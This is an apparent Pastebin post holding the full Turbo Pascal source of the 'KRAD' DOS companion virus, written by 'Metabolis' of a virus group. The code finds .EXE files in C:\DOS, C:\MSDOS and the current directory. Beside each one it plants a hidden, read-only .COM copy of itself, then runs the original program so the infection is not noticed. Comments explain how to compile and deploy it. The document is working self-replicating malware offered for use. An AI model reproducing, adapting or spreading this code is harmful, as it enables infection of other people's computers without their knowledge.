FlyFar

Virus.DOS.KRAD - Source Code

Jun 28th, 2023
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pascal 5.58 KB | Cybersecurity | 0 0
  1. Program KRAD;
  2.  
  3. {      ____  _____        _______   ______
  4.       /___/\/____/\      /______/\ /_____/\___  __/\_____
  5.       \   \|     \  \___|       \ |      \___/ /_    ___/ BOOM! <======
  6.        \           \/___|   +    \|   +  |/     /_/\/
  7.         \______|\___________|\___________/
  8.  
  9.  
  10.        Virus Laboratories and Distribution
  11.           Proudly present the KRAD Virus
  12.      Written by Metabolis for non assembler ppls
  13.  
  14.  
  15.           Why call it the KRAD virus?  Cos it is!  A companion virus
  16.           written in Turbo Pascal, well that just sums it up.  I wrote
  17.           this for two reasons.. 1) Not everyone knows assembler 2)
  18.           a friend reckoned a virus couldn't be programmed in Turbo
  19.           Pascal.. (by that he meant *I* couldn't do it).  No matter
  20.           how lame.. it's still a virus!  (Right up there with Aids/
  21.           Number 1 :))  Fully commented for non understanding Pascal
  22.           people, (a very small part of the world).
  23.  
  24.           Compress this with DIET/PkLite/LZEXE or something similar
  25.           when it's compiled.  Then rename it to a .COM file and hey
  26.           presto, you can run it!  I guess an added bonus of this
  27.           virus is, if there's another companion virus on your system
  28.           it won't overwrite it, it will take that as an infection
  29.           and leave it alone.
  30.  
  31.           KRAD virus will immediately infect C:\DOS or C:\MSDOS if
  32.           they exist, so if any DOS .EXE files are run it will infect
  33.           all the files in the current dir that you ran the DOS
  34.           command from. }
  35.  
  36. Uses Dos,Crt;  {Even if I don't use one of 'em..
  37.                it's best to include both. }
  38.  
  39. {$M 59999,0,8000}  {This program needs memory for two things..
  40.                     1) To use as a buffer when copying the virus
  41.                     2) To execute the program originally run. }
  42.  
  43. Var Inf,Inf2:Searchrec;  {Used in the EXE and file_exist routines }
  44.     Infected:Boolean;    {Is a file infected? }
  45.     Params:Byte;         {Loop Index for adding all parameters together }
  46.     All_Params:String;   {This string contains the whole list of parameters
  47.                           originally passed to the program }
  48.     P:PathStr;           { Used by the FSplit procedure. }
  49.     D:DirStr;            { "" }
  50.     N:NameStr;           { "" }
  51.     E:ExtStr;            { "" }
  52.  
  53. Procedure Check_Infected(Path:String);
  54. {Is the .EXE file we've found infected? }
  55. Begin
  56.   FSplit(Inf.Name,D,N,E);             {Split it up into directory, name
  57.                                        and extension. }
  58.   FindFirst(Path+N+'.COM',Anyfile,Inf2);   {Look for the .COM file with the
  59.                                        same file name, if this exists
  60.                                        then the file is already infected. }
  61.   Infected:=(DosError=0);             {Set the Infected flag }
  62. End;
  63.  
  64. Procedure CopyFile(SourceFile, TargetFile:string);
  65. {Straight Forward copying routine, I won't comment all of this.. }
  66. var
  67.   Source,
  68.   Target : file;
  69.   BRead,
  70.   Bwrite : word;
  71.   FileBuf  : array[1..2048] of char;
  72. Begin
  73.     Assign(Source,SourceFile);
  74.     SetFattr(Source,$20);              {Set the file attributes of the
  75.                                         hidden COM companion we're going
  76.                                         to be copying to archive so that
  77.                                         it's possible read it. }
  78.     {$I-}
  79.     Reset(Source,1);
  80.     {$I+}
  81.     If IOResult < 0 then
  82.     Begin
  83.         Exit;                          {Couldn't open the source file! }
  84.     End;
  85.     Assign(Target,TargetFile);
  86.     {$I-}
  87.     Rewrite(Target,1);
  88.     {$I+}
  89.     If IOResult < 0 then
  90.     Begin
  91.         Exit;                          {Couldn't open the target file! }
  92.     End;
  93.     Repeat
  94.          BlockRead(Source,FileBuf,SizeOf(FileBuf),BRead);
  95.          BlockWrite(Target,FileBuf,Bread,Bwrite);
  96.     Until (Bread = 0) or (Bread < BWrite);
  97.     Close(Source);
  98.     Close(Target);
  99.     SetFattr(Source,3);                {Set the COM companion that we
  100.                                         copied back to hidden and
  101.                                         read-only. }
  102.     SetFattr(Target,3);
  103. End;
  104.  
  105. Procedure FaI(Path:String);
  106. {Find and Infect!}
  107. Begin
  108.   FindFirst(Path+'*.EXE',AnyFile,Inf);  {Check for .EXEs to infect! }
  109.   While DosError=0 Do Begin
  110.     Infected:=False;
  111.     Check_Infected(Path);  { Check if the .EXE found is already infected. }
  112.     If Not Infected then Begin
  113.       CopyFile(ParamStr(0),Path+N+'.COM');
  114.     End;
  115.     { If the file isn't infected then copy the .COM version of the
  116.       file you're executing to companionship with the .EXE you have
  117.       found that isn't infected. }
  118.     FindNext(Inf);
  119.   End;
  120. End;
  121.  
  122. Begin
  123.   FaI('C:\DOS\');            { Find & Infect!  Go for the DOS dirs first }
  124.   FaI('C:\MSDOS\');          { because this is where most EXE files will }
  125.   FaI('');                   { be executed from! }
  126.   FSplit(ParamStr(0),D,N,E); { Make sure we have the path and name of the
  127.                                file we actually want to execute. }
  128.   All_Params:='';   { "Remember to initialise those variables!" - Teacher }
  129.   For Params:=1 To ParamCount
  130.        do All_Params:=All_Params+ParamStr(Params)+' ';
  131.   Exec(D+N+'.EXE',All_Params);        {Execute the file that the user
  132.                                        wanted to in the first place
  133.                                        keeping all original parameters. }
  134. End.
  135. {Easy wasn't it?  I thought so.. }
  136.  
Add Comment
Please, Sign In to add comment